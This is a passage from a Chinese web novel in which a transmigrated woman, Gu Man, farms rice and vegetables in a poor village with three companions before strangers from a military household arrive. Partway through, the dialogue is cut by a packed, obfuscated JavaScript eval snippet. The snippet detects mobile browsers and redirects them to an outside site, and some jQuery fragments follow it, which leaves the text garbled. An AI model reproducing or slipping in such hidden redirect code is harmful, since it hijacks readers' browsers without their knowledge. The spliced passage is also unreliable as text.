谷满休息了一两天就恢复了,只是再看这片天地,谷满好像多了几分真实感,又带着几分恐慌,经常坐在院子里看着天空发呆。
燕儿咬了咬下唇,拉着林婉到远处问:
“我姐姐怎么了?她以前不这样的。”
她明明记得谷满总是干劲十足,拎着锄头去田里种田,指着还没开垦出来荒废了田地说,要把这里都种满粮食。
林婉低头沉思了一会,有些严肃的说:
“我看小满姑娘这是心病。”
燕儿有些茫然,心病?什么心病?
林婉并不很精通医术,只说:
“我以前在大户人家当丫鬟,见过主家有心病的模样,就和小满姑娘的样子一样,燕儿姑娘,小满姑娘和你们不是同胞血亲吧?”
燕儿瞬间警惕起来:
“这关你什么事?她就是我和石头的姐姐!”
林婉笑了一下摇头说:
“没什么,我只是觉得小满姑娘或许是想她的家人了。”
燕儿一怔,是了,谷满出现的时候就细皮嫩肉的,一看就没吃过苦,说不定还真是天上的神仙公主,家里肯定还有亲人存在……
下午回去的时候,燕儿就心事重重的样子。
谷满都看出来了,便问:
“燕儿,你怎么了?”
燕儿看着谷满欲言又止了一会,摇头。
到了晚上睡觉的时候,燕儿和谷满躺在床上,冷不丁的问出一句:
“姐姐,你是不是想回家啊?”
谷满一怔,就听燕儿继续问:
“姐姐的家在哪里?远不远啊?姐姐走失这么久,家里人肯定很着急,可是姐姐,现在外面很乱,姐姐的家要是很远的话,可不可以等我们攒点钱,雇几个厉害的镖师再护送姐姐回去?”
燕儿语气里带着小心翼翼。
谷满毫无征兆的落下泪来,谷满擦了擦眼泪说:
“可是我不记得回家的路了,我回不去了。”
声音带着一丝颤抖。
燕儿翻身抱着谷满:
“没关系的,肯定能找到,我会想办法的。”
想什么办法?以前说书人怎么说的?
普天之下莫非王土,天下都是皇帝的,是不是当了皇帝就能找到姐姐的家了?
燕儿心里出现了一个小小的愿望,她想当皇帝。
谷满闭上眼睛,摸了摸燕儿的脑袋:
“好,我只是……你别担心,我没事的。”
燕儿点头,她要打听一下怎么样才能当皇帝。
第二天起来的时候,谷满果然恢复了干劲的样子,扛着锄头说:
“走,去看看我种的水稻怎么样了。”
昨天晚上燕儿的话让谷满反应过来,她一直这样燕儿和石头都会担心,而且她真的回不去了,现代尸体都火化了,大概以后只能待在这个时代了,她总要找些事做,不然谷满不知道该如何过下去。
谷满无声的叹气,到了田里就看到她种下的这块水稻,长得很好,花开的很茂密,仔细观察发现,没有虫子,按理来说这不太可能,谷满看向石头,就见石头放下框子,下了田,一株一株的找虫子,找到了就捉出来按死。
幸而这块地不算大,即便是这样纯手工捉虫也很累人。
可也没办法,这里没有农药之类的东西,这块水稻又很重要,谷满摇头,开始观察稻花传粉状态,要是转粉不够的话,收成不会好。
绕着田埂走了一圈之后,谷满就挽起裤脚夏天,横拿一根长杆,慢慢的轻扫整片稻田,稻穗随着长杆拂动往前带去,花粉也一层一层的往前吹动。
传过去之后,谷满放下杆子,伸手摸了摸土壤,水有点少了,谷满去放水,看水的高度差不多了又把渠沟堵上。
弄完之后就中午了,菜地里的黄瓜长出来了,谷满十分惊喜,一共三条能吃的,还有许多小的没长熟的,不过看着几天就能吃了,谷满摘掉黄瓜,又掐了两颗生菜,高兴的对燕儿说;
“中午拌黄瓜吃,林大夫回来了吗?”
燕儿摇头,不过看到谷满高兴的样子,燕儿也如释重负般露出了笑容。
石头憨憨的挠头:
“我觉得这个黄瓜可香了。”
谷满嘿嘿一笑,拿出一根黄瓜掰成三段分给两人:“尝尝,可好吃了,这个黄瓜种子外面买不到的。”
研究院的最新品种,几乎没有苦涩,只有清甜,生吃,凉拌,炒菜都很好吃。
燕儿和石头接过之后,吃下去,眼睛都亮了,才摘下来的黄瓜口感水嫩清甜,果然好吃。
到家之后,燕儿就去煮饭,他们的米已经见底了,这些天燕儿石头还有林婉吃的都是菜糊糊,后面土豆红薯也没了,只能吃菜汤,那些米燕儿都煮粥给谷满吃了。
燕儿看着空空如也的米袋有些犯难,没米了,她姐姐才刚好,吃菜汤哪里能好?
谷满跟进来一看就明白怎么回事了,拍拍燕儿的肩膀说:
“没米了,我去看看那些红薯长好了没。”
说完就去后院翻开红薯地,里面的红薯已经拳头大了,还能再长,只是总不能叫人饿死,谷满挑了四个出来,又把土盖回去,回到前院洗干净之后说:
“煮这个。”
燕儿迟疑:“这个不是说要三四个月才能长熟吗?”这才不到三个月呢。
谷满摇头:“四个月成熟期,但这个个头差不多也能吃,总不能饿死吧?”
说完谷满把红薯切块丢进锅里,盖上盖子,有些发愁的说:
“不过确实要找点吃的,不能总吃红薯。”
林婉这时背着背篓回来了,背篓里时草药和一些野菜。
“燕儿姑娘,小满姑娘,我今天在山上摸到了一窝野鸡蛋!”
林婉的声音带了些许兴奋。
现在山上大树都没有,能摸到一窝野鸡蛋实属幸运。
燕儿眼睛也亮了,谷满下意识的说:
“有野鸡蛋,是不是就有野鸡?”
石头立马说:“那我下午去山上看看。”
他姐姐病了这么些天,得吃些好的补补,能捉到野鸡最好了。
谷满很是赞同,两个孩子也是要长身体的,她这副身体虽然不知道怎么来的,但看着也就十五六岁,正是长身体的时候,还有林婉,瘦得很,都得吃。
林婉把背篓放在院子里,八九个鸡蛋小心的捧出来:
“都在这了,要不要煮一个吃?”
谷满走过去拿起鸡蛋对着阳光看了看摇头说:
“吃不了,小鸡仔都快孵出来了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480851|201727||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
留着养吧,等鸡长大了还能生鸡蛋,到时候就有的吃了。”
林婉一听觉得有道理:“行,听你的。”
谷满用杂草团了一个鸡窝,把鸡蛋放进去,在厨房找了个角落放着,厨房温度比较合适,这些鸡蛋她刚才对着太阳看了,已经成型了,按照她以前的畜牧专业的同学说的来看,估计再有六七天小鸡仔就能破壳。
四个人吃了菜糊,填了肚子,石头就要去山上找野鸡,谷满看着大太阳拉住石头:
“晚点去,现在太阳太大了,当心中暑。”
现在还在夏天,中午温度很高,在家休息比较好。
石头听话的放下锄头,反正谷满说什么他就照做。
林婉收拾了碗筷出来就看到谷满在教石头和燕儿识字,她会识字,以前在主家偷学的,见谷满在教,她也走过去学,想着多人几个字没有坏处。
谷满都教,只要学她就肯教。
等到太阳西斜,渐渐没那么热了,石头就要去山上打野鸡,燕儿去菜地里浇水,林婉炮制草药,分类放好,谷满就去水田里查看她的稻子。
清溪村依旧没有人来,谷满坐在天边看天空,觉得这样也挺好的,只是还是会克制不住想到外面那些瘦骨嶙峋的人。
谷满叹气,对着水稻喃喃自语:“快些成熟吧,要长的更好,能让我收获千斤的稻子,都指着你吃饭呢。”
一阵风吹来,稻穗晃了晃,像是答应了一样。
就这么过了两三天,菜地里每天都有黄瓜成熟,石头真的在山上捉到了野鸡,溪流里也多了些鱼虾,日子好像一天比一天好起来了。
“有人在吗?”
谷满四个人午休的时候,村口忽然传来声音。
燕儿和石头一下就站起来了:“姐姐,你在这里别出去,我和石头去看看。”
谷满哪能真让两个孩子过去,自己站起来戴上草帽:
“一起去,听声音还挺礼貌的。”
四个人走到村口就看到七八个人,都是陌生人,其中一个约莫三十多岁的中年妇人,旁边还有个十五六岁的少女,其余的都是面容凶恶,长的高大的汉子,只是这些看或多或少都有些残疾,要不就是脸上有疤。
谷满心里一咯噔,这些人怎么看着来者不善?
林婉在后面小声说:
“看着像军户。”
谷满知道军户是什么,可这里怎么会有军户过来?
桃枝见了谷满,在回想一下刘青转述的话。
“媳妇,你去公子说的清溪村,我会让几个兄弟护送你和蕴儿,到那之后见到一个样貌漂亮,一团和气的小姑娘,那就是公子说的人,务必要客气,求她让你们住下。”
桃枝一看到谷满就知道这就是丈夫口中的小姑娘,即便和林婉站在一块也不会叫人认错,想到这里,桃枝对护送她们过来的几个和刘青过命交情的兄弟说:
“几位大哥,别吓着姑娘,我来说。”
这几个汉子有些不自在的退后了几步,小心藏了藏!断了的手或腿,低声说:
“嫂子只管说,我看那姑娘不像是吓着了,倒是在疑惑我们什么人,嫂子好好解释,还有那个小些的丫头,看着心眼不少,嫂子别有欺瞒,照实了说。”
桃枝点头,松开刘蕴的手,慢慢上前。